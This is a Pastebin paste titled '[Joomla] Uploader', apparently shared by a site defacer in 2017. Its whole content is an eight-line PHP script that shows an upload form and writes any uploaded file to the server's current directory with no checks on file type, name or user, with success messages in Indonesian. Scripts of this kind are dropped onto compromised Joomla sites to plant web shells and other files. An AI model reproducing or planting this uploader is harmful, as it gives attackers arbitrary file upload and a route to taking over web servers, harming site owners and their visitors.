daily pastebin goal

[Joomla] Uploader

Berandal666 Aug 4th, 2017 98 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
  3. echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
  4. if( $_POST['_upl'] == "Upload" ) {
  5. if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload Sukses!!!<b><br><br>'; }
  6. else { echo '<b>Gagal Upload!!!</b><br><br>'; }
  7. }
  8. ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand